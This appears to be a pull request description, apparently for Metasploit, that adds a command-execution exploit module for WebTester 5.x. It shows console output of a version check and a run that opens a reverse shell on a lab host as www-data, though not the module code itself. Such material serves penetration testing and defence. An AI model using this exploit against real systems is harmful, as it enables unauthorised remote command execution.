Add WebTester 5.x Command Execution exploit module

Add WebTester 5.x Command Execution exploit module.

Homepage: http://sourceforge.net/projects/webtesteronline/
Tested on: WebTester v5.1.20101016

![WebTester 5.x Command Execution exploit module](https://f.cloud.github.com/assets/434827/1349894/031f141e-36fe-11e3-821c-3a37bb3af2cd.png)

### Check
```
msf exploit(webtester_exec) > check

[*] 192.168.124.180:80 - Found version: 5.1.20101016
[+] The target is vulnerable.
```

### Run
```
msf exploit(webtester_exec) > run
[*] Started reverse double handler

[*] 192.168.124.180:80 - Sending payload (539 bytes)...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[+] 192.168.124.180:80 - Payload sent successfully
[*] Command: echo 9gnSokBtJDgOQ1hA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "9gnSokBtJDgOQ1hA\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 1 opened (192.168.124.180:4444 -> 192.168.124.180:33093) at 2013-10-17 03:20:00 -0400
[*] Command: echo fCm8SMWnLUpfSz5C;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
```